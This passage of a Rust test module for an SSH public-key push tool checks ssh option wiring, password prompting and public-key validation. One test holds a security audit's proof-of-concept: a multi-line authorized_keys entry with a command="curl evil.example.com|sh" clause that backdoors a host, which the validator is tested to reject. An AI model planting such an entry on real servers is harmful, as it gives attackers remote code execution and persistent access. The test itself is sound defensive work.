885        let mut child = cmd.spawn().expect("spawn sh");
886        let stderr_pipe = child.stderr.take();
887        let guard = Arc::new(ChildGuard::new(child));
888
889        let (tx, rx) = std::sync::mpsc::channel();
890        std::thread::spawn(move || {
891            let mut buf = Vec::new();
892            if let Some(mut pipe) = stderr_pipe {
893                let _ = pipe.read_to_end(&mut buf);
894            }
895            let _ = tx.send(());
896        });
897
898        // No terminate: this is the clean-exit path.
899        assert!(guard.wait().is_some(), "the child itself is reaped");
900        rx.recv_timeout(std::time::Duration::from_secs(5))
901            .expect("the reader must reach EOF without a cancel");
902    }
903
904    fn push_args(auth: &PushAuth) -> Vec<String> {
905        build_push_command("web1", std::path::Path::new("/tmp/cfg"), auth)
906            .get_args()
907            .map(|a| a.to_string_lossy().into_owned())
908            .collect()
909    }
910
911    fn push_env_names(auth: &PushAuth) -> Vec<String> {
912        build_push_command("web1", std::path::Path::new("/tmp/cfg"), auth)
913            .get_envs()
914            .filter_map(|(k, v)| v.map(|_| k.to_string_lossy().into_owned()))
915            .collect()
916    }
917
918    fn has_opt(args: &[String], value: &str) -> bool {
919        args.windows(2).any(|w| w[0] == "-o" && w[1] == value)
920    }
921
922    #[test]
923    fn build_push_command_without_auth_sets_batch_mode_and_still_wires_askpass() {
924        // BatchMode keeps the target from being asked at all. The askpass
925        // program is wired anyway, because it is the only part of this that
926        // a ProxyJump hop inherits: ssh builds that hop's command without
927        // any `-o` option, so a bastion with nothing to answer would
928        // otherwise prompt on the terminal.
929        let auth = PushAuth::default();
930        let args = push_args(&auth);
931        assert!(has_opt(&args, "BatchMode=yes"), "got: {args:?}");
932        assert!(has_opt(&args, "StrictHostKeyChecking=yes"), "got: {args:?}");
933        let names = push_env_names(&auth);
934        assert!(
935            names.iter().any(|n| n == "SSH_ASKPASS_REQUIRE"),
936            "got: {names:?}"
937        );
938        assert!(
939            !names
940                .iter()
941                .any(|n| n == crate::askpass_env::ONESHOT_SECRET_VAR),
942            "there is no secret to carry: {names:?}"
943        );
944    }
945
946    #[test]
947    fn build_push_command_with_source_wires_askpass_without_batch_mode() {
948        let auth = PushAuth {
949            askpass: Some("keychain".into()),
950            ..Default::default()
951        };
952        let args = push_args(&auth);
953        assert!(!has_opt(&args, "BatchMode=yes"), "got: {args:?}");
954        let names = push_env_names(&auth);
955        assert!(names.iter().any(|n| n == "SSH_ASKPASS"));
956        assert!(names.iter().any(|n| n == "SSH_ASKPASS_REQUIRE"));
957    }
958
959    #[test]
960    fn build_push_command_with_session_password_uses_oneshot_channel() {
961        let auth = PushAuth {
962            session_password: Some("hunter2".into()),
963            ..Default::default()
964        };
965        let args = push_args(&auth);
966        assert!(!has_opt(&args, "BatchMode=yes"), "got: {args:?}");
967        assert!(args.iter().all(|a| a != "hunter2"), "secret in argv");
968        let names = push_env_names(&auth);
969        assert!(names.iter().any(|n| n == "SSH_ASKPASS"));
970        assert!(
971            names
972                .iter()
973                .any(|n| n == crate::askpass_env::ONESHOT_SECRET_VAR)
974        );
975    }
976
977    #[test]
978    fn build_push_command_forwards_bw_session() {
979        let auth = PushAuth {
980            askpass: Some("bw:item".into()),
981            bw_session: Some("tok".into()),
982            ..Default::default()
983        };
984        assert!(push_env_names(&auth).iter().any(|n| n == "BW_SESSION"));
985    }
986
987    #[test]
988    fn build_push_command_always_limits_ssh_to_one_password_attempt() {
989        // A background run has one answer to give. A second prompt only
990        // sends an empty attempt and burns another failed login.
991        for auth in [
992            PushAuth::default(),
993            PushAuth {
994                askpass: Some("keychain".into()),
995                ..Default::default()
996            },
997            PushAuth {
998                session_password: Some("hunter2".into()),
999                ..Default::default()
1000            },
1001        ] {
1002            let args = push_args(&auth);
1003            assert!(has_opt(&args, "NumberOfPasswordPrompts=1"), "got: {args:?}");
1004        }
1005    }
1006
1007    #[test]
1008    fn build_push_command_trust_retry_uses_accept_new() {
1009        let auth = PushAuth {
1010            trust_new_host_key: true,
1011            ..Default::default()
1012        };
1013        let args = push_args(&auth);
1014        assert!(
1015            has_opt(&args, "StrictHostKeyChecking=accept-new"),
1016            "got: {args:?}"
1017        );
1018        assert!(!has_opt(&args, "StrictHostKeyChecking=yes"));
1019    }
1020
1021    #[test]
1022    fn build_push_command_options_precede_the_separator() {
1023        let args = push_args(&PushAuth::default());
1024        let sep = args.iter().position(|a| a == "--").expect("-- present");
1025        let last_opt = args.iter().rposition(|a| a == "-o").expect("-o present");
1026        assert!(last_opt < sep, "got: {args:?}");
1027        assert_eq!(args[sep + 1], "web1");
1028        assert_eq!(args[sep + 2], REMOTE_SNIPPET);
1029    }
1030
1031    #[test]
1032    fn validate_pubkey_accepts_ed25519() {
1033        let line = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 ops@bastion";
1034        assert_eq!(validate_pubkey(line).unwrap(), line);
1035    }
1036
1037    #[test]
1038    fn validate_pubkey_strips_trailing_whitespace() {
1039        let raw = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 ops@bastion\n\r\n";
1040        let cleaned = validate_pubkey(raw).unwrap();
1041        assert!(!cleaned.ends_with('\n'));
1042        assert!(!cleaned.ends_with('\r'));
1043    }
1044
1045    #[test]
1046    fn validate_pubkey_rejects_empty() {
1047        assert_eq!(validate_pubkey(""), Err(PubkeyValidationError::Empty));
1048        assert_eq!(
1049            validate_pubkey("   \n\n"),
1050            Err(PubkeyValidationError::Empty)
1051        );
1052    }
1053
1054    #[test]
1055    fn validate_pubkey_rejects_multi_line_command_injection() {
1056        // The exact PoC from the security audit: two valid lines, the
1057        // second wears a `command=` clause. Multi-line is the canonical
1058        // shape that grep-qxF can never dedup, so we reject upstream.
1059        let raw = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 real@host\ncommand=\"curl evil.example.com|sh\",no-pty ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb2 backdoor@host";
1060        assert_eq!(validate_pubkey(raw), Err(PubkeyValidationError::MultiLine));
1061    }
1062
1063    #[test]
1064    fn validate_pubkey_rejects_unknown_type() {
1065        let raw = "ssh-ed25519-cert-v01@openssh.com AAAA cert@host";
1066        match validate_pubkey(raw) {
1067            Err(PubkeyValidationError::UnsupportedType(t)) => {
1068                assert_eq!(t, "ssh-ed25519-cert-v01@openssh.com");
1069            }
1070            other => panic!("expected UnsupportedType, got {:?}", other),
1071        }
1072    }
1073
1074    #[test]
1075    fn validate_pubkey_rejects_bogus_base64() {
1076        let raw = "ssh-ed25519 not!valid!base64!?? comment";
1077        assert_eq!(
1078            validate_pubkey(raw),
1079            Err(PubkeyValidationError::MalformedBase64)
1080        );
1081    }
1082
1083    #[test]
1084    fn validate_pubkey_rejects_empty_blob() {
1085        let raw = "ssh-ed25519  comment";
1086        assert_eq!(
1087            validate_pubkey(raw),
1088            Err(PubkeyValidationError::MalformedBase64)
1089        );
1090    }
1091
1092    #[test]
1093    fn read_pubkey_file_rejects_oversize() {
1094        let dir = tempfile::tempdir().expect("tempdir");
1095        let path = dir.path().join("huge.pub");
1096        let body = "x".repeat((PUBKEY_MAX_BYTES + 1) as usize);
1097        std::fs::write(&path, body).unwrap();
1098        match read_pubkey_file(&path) {
1099            Err(PubkeyValidationError::TooLarge(n)) => {
1100                assert!(n > PUBKEY_MAX_BYTES);
1101            }
1102            other => panic!("expected TooLarge, got {:?}", other),
1103        }
1104    }
1105
1106    #[cfg(unix)]
1107    #[test]
1108    fn read_pubkey_file_rejects_symlink() {
1109        let dir = tempfile::tempdir().expect("tempdir");
1110        let target = dir.path().join("real.pub");
1111        std::fs::write(&target, "ssh-ed25519 AAAA test@host").unwrap();
1112        let link = dir.path().join("link.pub");
1113        std::os::unix::fs::symlink(&target, &link).unwrap();
1114        assert!(matches!(
1115            read_pubkey_file(&link),
1116            Err(PubkeyValidationError::NotARegularFile)
1117        ));
1118    }
1119
1120    #[test]
1121    fn remote_snippet_has_expected_markers() {
1122        // Regression guard: the worker parses these three markers; if the
1123        // snippet ever changes its echoes the parser would silently break.
1124        assert!(REMOTE_SNIPPET.contains(MARKER_APPENDED));
1125        assert!(REMOTE_SNIPPET.contains(MARKER_ALREADY_PRESENT));
1126        assert!(REMOTE_SNIPPET.contains(MARKER_APPEND_FAILED));
1127        assert!(REMOTE_SNIPPET.contains("grep -qxF"));
1128        // CRLF guard is in the snippet too; if a future edit drops the
1129        // tr step, CRLF-terminated authorized_keys files would double-append.
1130        assert!(REMOTE_SNIPPET.contains("tr -d '\\r'"));
1131    }
1132}